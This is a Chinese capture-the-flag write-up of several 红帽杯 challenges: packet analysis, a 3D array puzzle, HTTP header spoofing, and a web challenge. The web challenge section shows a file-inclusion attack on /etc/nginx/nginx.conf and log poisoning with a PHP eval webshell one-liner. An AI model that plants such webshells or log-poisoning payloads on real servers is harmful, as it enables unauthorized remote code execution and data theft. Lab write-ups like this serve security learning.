对于这次红帽杯的题目。。是真的很想吐槽啊。。
0X01 Not Only Wireshark
wireshark打开数据包,右键追踪TCP流,可发现从第15流开始,HTTP请求的路径和参数变为/sqli/example2.php?name=123
。
写了个脚本正则按顺序抓下来所有name参数的值。
|
|
然后迎来了第一个吐槽到死的点,zip里面的文件是加密的,密码在哪???
找了将近一下午,后来发现HTTP请求中有个GET请求是?id=1128%23
。微笑不起来:)
0X02 3Dlight
这题我觉得还是挺有意思的,虽然花的时间也不少。(题目源码放在文章最后…
知道题目是啥意思后,要做的主要有以下几点:
- 对
str2arr(str)
和arr2str(arr)
函数进行逆运算。 - 判断三维数组中哪些点必须‘-2’,哪些只可能‘-1’,只能‘-1’的点或list存入finL集合中
- 对三维数组进行遍历,遍历过程中判断该点是否‘需要-2’
对于第二个问题:
一个正常的38位flag填充到64位后大概长flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}00000000000000000000000000
这样。
经过shuffle_flag
后长f0a0{0x0x0x0x0x0x0x0x0x0x0x}xxxxxxxxxx0x0x0x0x0x0x0x0x0x0x0x0g0l
这样。
因此可以得出,f、l、a、g、{、}
在数组中的固定位置和固定取值
|
|
同时也可以得出,所有为x
的字符所在的index他的ascii值范围必须是32<ord({x})<127
。
|
|
对于第三个问题:
- 在遍历中,对
<1
的值,直接return - 对
==1
的值,判断周围的6个方向是否有且仅有一个方向值>=2
,如果有,那个方向的点就unlight处理 - 对
>=2
的值,判断该点能否unlight-2。判断主要是如下办法:周围6个方向>=2
的值的点的个数是否比我这个点的值还小。(通俗点说就是即使你们6个方向都给我1,我扣掉6还有剩,那就代表我肯定要-2)
但是存在一个问题:如何判断周围6个点有给1可能的个数?
方法:那个方向的点存在,并且值>=2
。同时,那个点满足“可以-2”,即那个点不在finL集合中。
解密代码
|
|
0X03 shopping log
提一下,主要是太想吐槽了。
- 提示
Site is tmvb.com
,玩了老半天,google了一波,whois查询了一波,爆破了子域名,Host也试着改成了Host: tmvb.com
。后来才发现要加上www
,excuse me?? - 改Referer很正常。
- 提示
Japan sales only
,试了改了Accept-Language: ja;q=0.9
,也试过了XFF头为日本IP。都不行!!后来队友突然可以了,才发现要XFF头和language同时改!并且q=0.9
要删去!excuse me?? - 终于有正常页面了。emm..爆破??
告辞!
0x04 biubiubiu
进去就是一波文件包含!试了下php://filter
不管用,猜测应该是被过滤了。提示了users.sql
感觉没是用。
然后就读了一波配置文件?page=/etc/nginx/nginx.conf
爽歪歪。
|
|
看到了日志文件路径就想到了包含日志文件写入php代码。反手一个php一句话?page=<?php @eval($_POST['key']);?>
,下一步就是菜刀了。
看到了数据库的帐号密码,flag就在数据库里了。
挂下预期解:《记一次利用gopher的内网mysql盲注》
0X05 附录:3Dlight题目源码
|
|